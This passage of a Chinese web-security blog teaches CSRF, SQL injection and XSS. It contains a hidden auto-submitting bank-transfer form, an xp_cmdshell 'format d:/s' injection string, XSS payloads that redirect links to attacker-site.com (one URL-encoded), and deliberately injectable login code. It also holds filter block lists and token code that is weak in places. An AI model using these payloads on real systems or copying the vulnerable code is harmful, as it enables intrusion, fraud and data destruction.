&lt;/script&gt;</div><div class="line">　　&lt;/head&gt;</div><div class="line"></div><div class="line">　　&lt;body onload=<span class="string">"steal()"</span>&gt;</div><div class="line">　　　　&lt;iframe name=<span class="string">"steal"</span> display=<span class="string">"none"</span>&gt;</div><div class="line">　　　　　　&lt;form method=<span class="string">"POST"</span> name=<span class="string">"transfer"</span>　action=<span class="string">"http://www.myBank.com/Transfer.php"</span>&gt;</div><div class="line">　　　　　　　　&lt;input <span class="built_in">type</span>=<span class="string">"hidden"</span> name=<span class="string">"toBankId"</span> value=<span class="string">"11"</span>&gt;</div><div class="line">　　　　　　　　&lt;input <span class="built_in">type</span>=<span class="string">"hidden"</span> name=<span class="string">"money"</span> value=<span class="string">"1000"</span>&gt;</div><div class="line">　　　　　　&lt;/form&gt;</div><div class="line">　　　　&lt;/iframe&gt;</div><div class="line">　　&lt;/body&gt;</div><div class="line">&lt;/html&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块……因为这里危险网站B暗地里发送了POST请求到银行!</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一个<img>就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了CSRF攻击，后果都有可能很严重。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;理解上面的3种攻击模式，其实可以看出，<strong>CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的</strong>！</p>
<h2 id="五-CSRF的防御"><a href="#五-CSRF的防御" class="headerlink" title="五.CSRF的防御"></a>五.CSRF的防御</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;总结了一下看到的资料，CSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。</p>
<h3 id="1-服务端进行CSRF防御"><a href="#1-服务端进行CSRF防御" class="headerlink" title="1.服务端进行CSRF防御"></a>1.服务端进行CSRF防御</h3><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。</p>
<h4 id="Cookie-Hashing-所有表单都包含同一个伪随机值-："><a href="#Cookie-Hashing-所有表单都包含同一个伪随机值-：" class="headerlink" title="Cookie Hashing(所有表单都包含同一个伪随机值)："></a>Cookie Hashing(所有表单都包含同一个伪随机值)：</h4><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:&gt;</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">　　//构造加密的Cookie信息</div><div class="line">　　<span class="variable">$value</span> = “DefenseSCRF”;</div><div class="line">　　setcookie(”cookie”, <span class="variable">$value</span>, time()+3600);</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在表单里增加Hash值，以认证这确实是用户发送的请求。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">　　<span class="variable">$hash</span> = md5(<span class="variable">$_COOKIE</span>[<span class="string">'cookie'</span>]);</div><div class="line">?&gt;</div><div class="line">&lt;form method=”POST” action=”transfer.php”&gt;</div><div class="line">　　&lt;input <span class="built_in">type</span>=”text” name=”toBankId”&gt;</div><div class="line">　　&lt;input <span class="built_in">type</span>=”text” name=”money”&gt;</div><div class="line">　　&lt;input <span class="built_in">type</span>=”hidden” name=”<span class="built_in">hash</span>” value=”&lt;?=<span class="variable">$hash</span>;?&gt;”&gt;</div><div class="line">　　&lt;input <span class="built_in">type</span>=”submit” name=”submit” value=”Submit”&gt;</div><div class="line">&lt;/form&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;然后在服务器端进行Hash值验证</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">    <span class="keyword">if</span>(isset(<span class="variable">$_POST</span>[<span class="string">'check'</span>])) &#123;</div><div class="line">        <span class="variable">$hash</span> = md5(<span class="variable">$_COOKIE</span>[<span class="string">'cookie'</span>]);</div><div class="line">        <span class="keyword">if</span>(<span class="variable">$_POST</span>[<span class="string">'check'</span>] == <span class="variable">$hash</span>) &#123;</div><div class="line">            doJob();</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">        //...</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">    //...</div><div class="line">    &#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这个方法个人觉得已经可以杜绝99%的CSRF攻击了，那还有1%呢….由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，这就另外的1%。一般的攻击者看到有需要算Hash值，基本都会放弃了，某些除外，所以如果需要100%的杜绝，这个不是最好的方法。</p>
<h4 id="验证码"><a href="#验证码" class="headerlink" title="验证码"></a>验证码</h4><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄….这个方案可以完全解决CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。</p>
<h4 id="One-Time-Tokens-不同的表单包含一个不同的伪随机值"><a href="#One-Time-Tokens-不同的表单包含一个不同的伪随机值" class="headerlink" title="One-Time Tokens(不同的表单包含一个不同的伪随机值)"></a>One-Time Tokens(不同的表单包含一个不同的伪随机值)</h4><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在实现One-Time Tokens时，需要注意一点：就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单，CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。</p>
<h2 id="以下我的实现"><a href="#以下我的实现" class="headerlink" title="以下我的实现:"></a>以下我的实现:</h2><h3 id="1-先是令牌生成函数-gen-token-："><a href="#1-先是令牌生成函数-gen-token-：" class="headerlink" title="1.先是令牌生成函数(gen_token())："></a>1.先是令牌生成函数(gen_token())：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">    <span class="keyword">function</span> <span class="function"><span class="title">gen_token</span></span>() &#123;</div><div class="line">    //这里我是贪方便，实际上单使用Rand()得出的随机数作为令牌，也是不安全的。</div><div class="line">    //这个可以参考我写的Findbugs笔记中的《Random object created and used only once》</div><div class="line">    <span class="variable">$token</span> = md5(uniqid(rand(), <span class="literal">true</span>));</div><div class="line">    <span class="built_in">return</span> <span class="variable">$token</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<h3 id="2-然后是Session令牌生成函数-gen-stoken-："><a href="#2-然后是Session令牌生成函数-gen-stoken-：" class="headerlink" title="2.然后是Session令牌生成函数(gen_stoken())："></a>2.然后是Session令牌生成函数(gen_stoken())：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">    <span class="keyword">function</span> <span class="function"><span class="title">gen_stoken</span></span>() &#123;</div><div class="line">        <span class="variable">$pToken</span> = <span class="string">""</span>;</div><div class="line">        <span class="keyword">if</span>(<span class="variable">$_SESSION</span>[STOKEN_NAME]  == <span class="variable">$pToken</span>)&#123;</div><div class="line">            //没有值，赋新值</div><div class="line">            <span class="variable">$_SESSION</span>[STOKEN_NAME] = gen_token();</div><div class="line">        &#125;    </div><div class="line">        <span class="keyword">else</span>&#123;</div><div class="line">            //继续使用旧的值</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<h3 id="3-WEB表单生成隐藏输入域的函数："><a href="#3-WEB表单生成隐藏输入域的函数：" class="headerlink" title="3.WEB表单生成隐藏输入域的函数：　　"></a>3.WEB表单生成隐藏输入域的函数：　　</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">     <span class="keyword">function</span> <span class="function"><span class="title">gen_input</span></span>() &#123;</div><div class="line">　　     gen_stoken();</div><div class="line">         <span class="built_in">echo</span> “&lt;input <span class="built_in">type</span>=\”hidden\” name=\”<span class="string">" . FTOKEN_NAME . “\”</span></div><div class="line"><span class="string">  　　     value=\”"</span> . <span class="variable">$_SESSION</span>[STOKEN_NAME] . “\”&gt; “;</div><div class="line">　　&#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<h3 id="4-WEB表单结构："><a href="#4-WEB表单结构：" class="headerlink" title="4.WEB表单结构："></a>4.WEB表单结构：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">  session_start();</div><div class="line">  include(”functions.php”);</div><div class="line">?&gt;</div><div class="line">&lt;form method=”POST” action=”transfer.php”&gt;</div><div class="line">  &lt;input <span class="built_in">type</span>=”text” name=”toBankId”&gt;</div><div class="line">  &lt;input <span class="built_in">type</span>=”text” name=”money”&gt;</div><div class="line">  &lt;? gen_input(); ?&gt;</div><div class="line">  &lt;input <span class="built_in">type</span>=”submit” name=”submit” value=”Submit”&gt;</div><div class="line">&lt;/FORM&gt;</div></pre></td></tr></table></figure>
<h3 id="5-服务端核对令牌："><a href="#5-服务端核对令牌：" class="headerlink" title="5.服务端核对令牌："></a>5.服务端核对令牌：</h3><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这个很简单，这里就不再啰嗦了。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;上面这个其实不完全符合“并行会话的兼容”的规则，大家可以在此基础上修改。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;其实还有很多想写，无奈精力有限，暂且打住，日后补充，如果错漏，请指出:&gt;</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;PS：今天下午写这篇文档的时候FF崩溃了一次，写了一半文章的全没了，郁闷好久T_T…….</p>
<h2 id="六-参考文献"><a href="#六-参考文献" class="headerlink" title="六.参考文献"></a>六.参考文献</h2><ol>
<li><a href="http://www.playhack.net/view.php?id=31" target="_blank" rel="external">Preventing CSRF</a></li>
<li><a href="http://shiflett.org/articles/cross-site-request-forgeries" target="_blank" rel="external">Security Corner: Cross-Site Request Forgeries</a></li>
<li><a href="http://netsecurity.51cto.com/art/200812/102951.htm" target="_blank" rel="external">《深入解析跨站请求伪造漏洞：原理剖析》</a></li>
<li><a href="http://netsecurity.51cto.com/art/200811/97281.htm" target="_blank" rel="external">《Web安全测试之跨站请求伪造（CSRF）》</a></li>
<li><a href="http://netsecurity.51cto.com/art/200812/102925.htm" target="_blank" rel="external">《深入解析跨站请求伪造漏洞：实例讲解》</a></li>
<li><a href="http://baike.baidu.com/view/1609487.htm" target="_blank" rel="external">CSRF</a></li>
</ol>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/12. 防止SQL注入/">防止SQL注入</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;一个恐怖的例子：</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;注入式攻击的详细解释SQL下面我们将以一个简单的用户登陆为例，结合代码详细解释一下SQL注入式攻击，与及他的防范措施。对于一个简单的用户登陆可能的代码如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line">try</div><div class="line">&#123;</div><div class="line">　string strUserName = this.txtUserName.Text;</div><div class="line">　string strPwd = this.txtPwd.Text;</div><div class="line">　string strSql = <span class="string">"select * from userinfo where UserName='"</span> + strUserName + <span class="string">"' and Password='"</span> + strPwd + <span class="string">"'"</span>;</div><div class="line">　SqlConnection objDbConn = new SqlConnection(<span class="string">"数据库连接字符串"</span>);</div><div class="line">　SqlDataAdapter objAdapter = new SqlDataAdapter(strSql,objDbConn);</div><div class="line">　DataSet objDataSet = null;</div><div class="line">　objAdapter.Fill(objDataSet);//TODO 对获取的数据进行判断。</div><div class="line">&#125;</div><div class="line">catch (System.Exception e)</div><div class="line">&#123;</div><div class="line">　this.lblMsg.Text = e.Message;</div><div class="line">　this.lblMsg.Visible = <span class="literal">true</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;在上面这段代码中，如果用户的输入是正常的用户名和密码的话，那么执行都会比较正常，但是，假如输入用户名的时候，输入的是“johny’–”的话，在 SQLServer里面执行的语句将会是“select * from userinfo where UserName=’johny’–‘ and Password=’密码’”，只要数据库中存在johny这个用户的话，那么不管密码是什么，语句都能够执行成功，并且能够顺利通过登陆。还 有更加厉害的，我们知道SQLServer里面有一些系统的存储过程，能够执行操作系统的很多命令，比如xp_cmdshell，假如上面用户登陆的时 候，用户名部分输入的是“johny’ exec xp_cmdshell ‘format d:/s’–”，大家想想一下后果是什么？有恶意的用户，只要把’format d:/s’这个命令稍加改造就能够做很多不合法的事情。</p>
<h2 id="NET防SQL注入方法"><a href="#NET防SQL注入方法" class="headerlink" title=".NET防SQL注入方法"></a>.NET防SQL注入方法</h2><h3 id="1-利用SqlCommand传参数的方法："><a href="#1-利用SqlCommand传参数的方法：" class="headerlink" title="1.利用SqlCommand传参数的方法："></a>1.利用SqlCommand传参数的方法：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">string strSQL=<span class="string">"SELECT * FROM [user] WHERE user_id=@id"</span>;</div><div class="line">SqlCommand cmd = new SqlCommand();</div><div class="line">cmd.CommandText = strSQL;</div><div class="line">cmd.Parameters.Add(<span class="string">"@id"</span>,SqlDbType.VarChar,20).Value=Request[<span class="string">"id"</span>].ToString();</div></pre></td></tr></table></figure>
<h3 id="2-过滤禁止运行法："><a href="#2-过滤禁止运行法：" class="headerlink" title="2.过滤禁止运行法："></a>2.过滤禁止运行法：</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line">/// &lt;summary&gt;</div><div class="line">/// 过滤SQL语句,防止注入</div><div class="line">/// &lt;/summary&gt;</div><div class="line">/// &lt;param name=<span class="string">"strSql"</span>&gt;&lt;/param&gt;</div><div class="line">/// &lt;returns&gt;0 - 没有注入, 1 - 有注入 &lt;/returns&gt;</div><div class="line">public int filterSql(string sSql)</div><div class="line">&#123; </div><div class="line"> int srcLen, decLen = 0;</div><div class="line"> sSql = sSql.ToLower().Trim();</div><div class="line"> srcLen = sSql.Length;</div><div class="line"> sSql = sSql.Replace(<span class="string">"exec"</span>, <span class="string">""</span>);</div><div class="line"> sSql = sSql.Replace(<span class="string">"delete"</span>, <span class="string">""</span>);</div><div class="line"> sSql = sSql.Replace(<span class="string">"master"</span>, <span class="string">""</span>);</div><div class="line"> sSql = sSql.Replace(<span class="string">"truncate"</span>, <span class="string">""</span>);</div><div class="line"> sSql = sSql.Replace(<span class="string">"declare"</span>, <span class="string">""</span>);</div><div class="line"> sSql = sSql.Replace(<span class="string">"create"</span>, <span class="string">""</span>);</div><div class="line"> sSql = sSql.Replace(<span class="string">"xp_"</span>, <span class="string">"no"</span>);</div><div class="line"> decLen = sSql.Length;</div><div class="line"> <span class="keyword">if</span> (srcLen == decLen) <span class="built_in">return</span> 0; <span class="keyword">else</span> <span class="built_in">return</span> 1; </div><div class="line">&#125;</div></pre></td></tr></table></figure>
<h3 id="3-存储过程"><a href="#3-存储过程" class="headerlink" title="3.存储过程"></a>3.存储过程</h3><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;js版的防范SQL注入式攻击代码：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line">&lt;script language=<span class="string">"javascript"</span>&gt;</div><div class="line">&lt;!--</div><div class="line">var url = location.search;</div><div class="line">var re=/^\?(.*)(select%20|insert%20|delete%20from%20|count\(|drop%20table|update%20truncate%20|asc\(|mid\(|char\(|xp_cmdshell|<span class="built_in">exec</span>%20master|net%20localgroup%20administrators|\<span class="string">"|:|net%20user|\|%20or%20)(.*)$/gi;</span></div><div class="line"><span class="string">var e = re.test(url);</span></div><div class="line"><span class="string">if(e) &#123;</span></div><div class="line"><span class="string"> alert("</span>地址中含有非法字符～<span class="string">");</span></div><div class="line"><span class="string"> location.href="</span>error.asp<span class="string">";</span></div><div class="line"><span class="string">&#125;</span></div><div class="line"><span class="string">//--&gt;</span></div><div class="line"><span class="string">&lt;script&gt;</span></div></pre></td></tr></table></figure>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/11. xss攻击入门/">xss攻击入门</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;xss表示Cross Site Scripting(跨站脚本攻击)，它与SQL注入攻击类似，SQL注入攻击中以SQL语句作为用户输入，从而达到查询/修改/删除数据的目的，而在xss攻击中，通过插入恶意脚本，实现对用户游览器的控制。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;xss攻击可以分成两种类型：</p>
<ul>
<li>非持久型攻击</li>
<li>持久型攻击</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;下面我们通过具体例子，了解两种类型xss攻击。</p>
<h2 id="1-非持久型xss攻击"><a href="#1-非持久型xss攻击" class="headerlink" title="1.非持久型xss攻击"></a>1.非持久型xss攻击</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;顾名思义，非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户游览器执行，从而达到攻击目的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;假设有以下index.php页面：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">'name'</span>];</div><div class="line"><span class="built_in">echo</span> <span class="string">"Welcome <span class="variable">$name</span>&lt;br&gt;"</span>;</div><div class="line"><span class="built_in">echo</span> <span class="string">"&lt;a href="</span>http://www.cnblogs.com/bangerlee/<span class="string">"&gt;Click to Download&lt;/a&gt;"</span>;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;该页面显示两行信息：</p>
<ul>
<li>从URI获取 ‘name’ 参数，并在页面显示</li>
<li>显示跳转到一条URL的链接</li>
</ul>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这时，当攻击者给出以下URL链接：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?name=guest&lt;script&gt;alert(<span class="string">'attacked'</span>)&lt;/script&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;当用户点击该链接时，将产生以下html代码，带’attacked’的告警提示框弹出：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">Welcome guest</div><div class="line">&lt;script&gt;alert(<span class="string">'attacked'</span>)&lt;/script&gt;</div><div class="line">&lt;br&gt;</div><div class="line">&lt;a href=<span class="string">'http://www.cnblogs.com/bangerlee/'</span>&gt;Click to Download&lt;/a&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;除了插入alert代码，攻击者还可以通过以下URL实现修改链接的目的：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">index.php?name=</div><div class="line">&lt;script&gt;</div><div class="line">window.onload = <span class="function"><span class="title">function</span></span>() &#123;</div><div class="line">var link=document.getElementsByTagName(<span class="string">"a"</span>);link[0].href=<span class="string">"http://attacker-site.com/"</span>;&#125;</div><div class="line">&lt;/script&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;当用户点击以上攻击者提供的URL时，index.php页面被植入脚本，页面源码如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">Welcome </div><div class="line">&lt;script&gt;</div><div class="line">window.onload = <span class="function"><span class="title">function</span></span>() &#123;</div><div class="line">var link=document.getElementsByTagName(<span class="string">"a"</span>);link[0].href=<span class="string">"http://attacker-site.com/"</span>;&#125;</div><div class="line">&lt;/script&gt;</div><div class="line">&lt;br&gt;</div><div class="line">&lt;a href=<span class="string">'http://www.cnblogs.com/bangerlee/'</span>&gt;Click to Download&lt;/a&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;用户再点击 “Click to Download” 时，将跳转至攻击者提供的链接。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;对于用于攻击的URL，攻击者一般不会直接使用以上可读形式，而是将其转换成ASCII码，以下URL同样用于实现链接地址变更：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e</div></pre></td></tr></table></figure>
<h2 id="2-持久型xss攻击"><a href="#2-持久型xss攻击" class="headerlink" title="2.持久型xss攻击"></a>2.持久型xss攻击</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;持久型xss攻击会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。</p>
<h2 id="session背景知识"><a href="#session背景知识" class="headerlink" title="session背景知识"></a>session背景知识</h2><p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;我们知道HTTP是一个无状态维持的协议，所有请求/应答都是独立的，其间不保存状态信息。但有些场景下我们需要维护状态信息，例如用户登录完web应用后，再一定时间内，用户再进行登录，应不需要再输入用户名/密码进行鉴权。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;这时我们用cookie和session解决状态维护问题，当用户首次登入时，服务器为该用户创建一个 session ID，同时向游览器传送一个 cookie，cookie保存会话连接中用到的数据，session ID作为会话标识，游览器后续的请求均基于该session ID。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;攻击者可以提供一个攻击链接，当用户点击该链接时，向攻击者自己的服务器发送一条保存有用户session ID的信息，这样就可以窃取到用户的session ID，得到用户的执行权限。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;现有以下login.php，其根据 user_name 在数据中查找相应的 pass_word，然后将用户提供的 password 与查数据库所得的 pass_word 进行比较，如果验证成功则创建对应于 user_name 的 session。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line"><span class="variable">$Host</span>= <span class="string">'192.168.1.8'</span>;</div><div class="line"><span class="variable">$Dbname</span>= <span class="string">'app'</span>;</div><div class="line"><span class="variable">$User</span>= <span class="string">'yyy'</span>;</div><div class="line"><span class="variable">$Password</span>= <span class="string">'xxx'</span>;</div><div class="line"><span class="variable">$Schema</span> = <span class="string">'test'</span>;</div><div class="line"></div><div class="line"><span class="variable">$Conection_string</span>=<span class="string">"host=<span class="variable">$Host</span> dbname=<span class="variable">$Dbname</span> user=<span class="variable">$User</span> password=<span class="variable">$Password</span>"</span>;</div><div class="line"></div><div class="line">/* Connect with database asking <span class="keyword">for</span> a new connection*/</div><div class="line"><span class="variable">$Connect</span>=pg_connect(<span class="variable">$Conection_string</span>,<span class="variable">$PGSQL_CONNECT_FORCE_NEW</span>);</div><div class="line"></div><div class="line">/* Error checking the connection string */</div><div class="line"><span class="keyword">if</span> (!<span class="variable">$Connect</span>) &#123;</div><div class="line"> <span class="built_in">echo</span> <span class="string">"Database Connection Failure"</span>;</div><div class="line"> <span class="built_in">exit</span>;</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="variable">$query</span>=<span class="string">"SELECT user_name,password from <span class="variable">$Schema</span>.members where user_name='"</span>.<span class="variable">$_POST</span>[<span class="string">'user_name'</span>].<span class="string">"';"</span>;</div><div class="line"></div><div class="line"><span class="variable">$result</span>=pg_query(<span class="variable">$Connect</span>,<span class="variable">$query</span>);</div><div class="line"><span class="variable">$row</span>=pg_fetch_array(<span class="variable">$result</span>,NULL,PGSQL_ASSOC);</div><div class="line"></div><div class="line"><span class="variable">$user_pass</span> = md5(<span class="variable">$_POST</span>[<span class="string">'pass_word'</span>]);</div><div class="line"><span class="variable">$user_name</span> = <span class="variable">$row</span>[<span class="string">'user_name'</span>];</div><div class="line"></div><div class="line"><span class="keyword">if</span>(strcmp(<span class="variable">$user_pass</span>,<span class="variable">$row</span>[<span class="string">'password'</span>])!=0) &#123;</div><div class="line"> <span class="built_in">echo</span> <span class="string">"Login failed"</span>;</div><div class="line">&#125;</div><div class="line"><span class="keyword">else</span> &#123;</div><div class="line"> 